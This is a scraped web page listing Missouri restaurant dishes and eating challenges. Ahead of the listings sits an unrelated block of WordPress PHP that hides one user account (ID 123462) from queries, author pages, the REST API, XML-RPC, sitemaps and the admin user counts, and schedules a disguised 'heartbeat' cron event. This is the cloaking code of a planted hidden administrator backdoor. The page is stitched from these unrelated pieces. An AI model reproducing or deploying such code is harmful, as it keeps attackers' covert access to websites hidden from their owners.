add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 123462;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 123462;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 123462;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
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“The breakfast challenge consists of a MASSIVE 17″ diameter x 1/2″ thick pancake, 12 eggs, 8 pieces of sausage, 12 strips of bacon, & 2 large glasses of chocolate milk. The platter weighs just over 5 Lbs. Challengers have 1 hour to complete the challenge. Previously, only 1 person defeated the challenge in 37 minutes to get a free meal, free t-shirt, & a picture on the Wall Of Fame!”
Warrensburg, Missouri
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This 30 oz burger has 5 pieces of bacon, 5 slices of cheese and is served with 4 pounds of fries. If eaten in under 45 minutes, the burger and fries are free and you get your picture on the wall.
Harrisonville, Missouri
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A 6 ounce marinated chicken breast, a half rack of the Gov’s famous ribs smothered in barbecue sauce with coleslaw and seasoned fries.
Kansas City, Missouri
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Highlandville, Missouri
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Kansas City, Missouri
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Chicken, lettuce, tomatoes, cheddar, red onions, black olives & salsa topped with tortilla strips.
Kansas City, Missouri
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Kansas City, Missouri
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“You must eat ten tacos in 15 minutes. If you do, then it’s free and you receive: a $20 gift certificate, your picture on the “Wall of Fame”, and the option to bring in your own team memorabilia to hang on the walls.”
Lee’s Summit, Missouri
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Grilled chicken, seasoned with a cayenne pepper sauce, tomatoes, bacon and cheddar cheese, served on a bed of fresh lettuce.
Kansas City, Missouri
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Kansas City, Missouri
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Turkey, American cheese, mayo, bacon, lettuce and tomatoes on white toast with a pickle.
Kansas City, Missouri
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“An enormous bowl of spaghetti topped with the largest homemade meatball on “The Hill.” Served with Mama’s own marinara sauce. If you manage to finish this dish Mama will pick up the check and also reward you with a Mama’s shirt! One person, One meatball, a “Hill” of spaghetti, and a whole lot of fun!”
St. Louis, Missouri
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Photo courtesy of The Hi-Boy Drive-In.
Independence, Missouri
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Yes. That is a pepperoni pizza topped with chili, tater tots, and green onions.
Photo courtesy of Foul Balls.
Kansas City, Missouri
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Thanks to Jason for the photo.
Kansas City, Missouri
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